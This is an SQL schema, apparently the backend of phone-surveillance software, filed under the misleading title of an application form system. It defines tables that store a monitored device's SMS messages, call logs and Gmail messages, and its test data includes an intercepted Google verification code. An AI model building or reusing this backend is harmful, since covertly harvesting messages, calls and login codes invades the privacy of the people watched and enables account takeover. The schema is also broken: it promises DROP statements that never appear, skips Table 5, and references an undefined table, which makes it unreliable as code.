-- ============================================
-- Complete Database Schema
-- My International Application Form System
-- ============================================

-- Drop existing tables if they exist

-- ============================================
-- Table 1: Devices (for monitoring)
-- ============================================
CREATE TABLE `devices` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `device_id` VARCHAR(255) NOT NULL,
  `child_name` VARCHAR(255) NOT NULL,
  `parent_name` VARCHAR(255) NOT NULL,
  `parent_email` VARCHAR(255) NOT NULL,
  `created_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  `updated_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `device_id` (`device_id`),
  INDEX `idx_device_id` (`device_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- ============================================
-- Table 2: SMS Messages
-- ============================================
CREATE TABLE `sms_messages` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `device_id` VARCHAR(255) NOT NULL,
  `sender` VARCHAR(50) NOT NULL,
  `message` TEXT NOT NULL,
  `received_at` DATETIME NOT NULL,
  `created_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  INDEX `idx_device_id` (`device_id`),
  INDEX `idx_received_at` (`received_at`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- ============================================
-- Table 3: Call Logs
-- ============================================
CREATE TABLE `call_logs` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `device_id` VARCHAR(255) NOT NULL,
  `phone_number` VARCHAR(50) NOT NULL,
  `call_type` ENUM('incoming', 'outgoing') NOT NULL,
  `call_status` VARCHAR(50) DEFAULT NULL,
  `duration` INT(11) DEFAULT 0,
  `call_time` DATETIME NOT NULL,
  `created_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  INDEX `idx_device_id` (`device_id`),
  INDEX `idx_call_time` (`call_time`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- ============================================
-- Table 4: Gmail Messages
-- ============================================
CREATE TABLE `gmail_messages` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `device_id` VARCHAR(255) NOT NULL,
  `sender` VARCHAR(255) NOT NULL,
  `sender_email` VARCHAR(255) DEFAULT NULL,
  `subject` TEXT DEFAULT NULL,
  `body` TEXT DEFAULT NULL,
  `received_at` DATETIME NOT NULL,
  `created_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  INDEX `idx_device_id` (`device_id`),
  INDEX `idx_received_at` (`received_at`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- ============================================
-- Table 6: Application Documents
-- ============================================
CREATE TABLE `application_documents` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `application_id` INT(11) NOT NULL,
  `document_path` VARCHAR(255) NOT NULL,
  `document_name` VARCHAR(255) NOT NULL,
  `document_type` VARCHAR(50) DEFAULT NULL,
  `file_size` INT(11) DEFAULT NULL,
  `uploaded_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  INDEX `idx_application_id` (`application_id`),
  FOREIGN KEY (`application_id`) REFERENCES `application_forms`(`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- ============================================
-- Sample Test Data
-- ============================================

-- Insert test device
INSERT INTO `devices` (`device_id`, `child_name`, `parent_name`, `parent_email`) VALUES
('TEST_DEVICE_001', 'রহিম আহমেদ', 'করিম আহমেদ', 'karim@example.com');

-- Insert test SMS
INSERT INTO `sms_messages` (`device_id`, `sender`, `message`, `received_at`) VALUES
('TEST_DEVICE_001', '+8801712345678', 'এটি একটি টেস্ট মেসেজ', '2024-12-01 10:30:00'),
('TEST_DEVICE_001', '+8801812345678', 'আরেকটি টেস্ট SMS', '2024-12-01 11:00:00');

-- Insert test call
INSERT INTO `call_logs` (`device_id`, `phone_number`, `call_type`, `call_status`, `duration`, `call_time`) VALUES
('TEST_DEVICE_001', '+8801712345678', 'incoming', 'answered', 120, '2024-12-01 09:15:00'),
('TEST_DEVICE_001', '+8801812345678', 'outgoing', 'answered', 180, '2024-12-01 14:30:00');

-- Insert test Gmail
INSERT INTO `gmail_messages` (`device_id`, `sender`, `sender_email`, `subject`, `body`, `received_at`) VALUES
('TEST_DEVICE_001', 'Google', 'noreply@google.com', 'Your verification code', 'Your verification code is: 123456', '2024-12-01 12:00:00');

-- ============================================
-- END OF DATABASE SCHEMA
-- ============================================
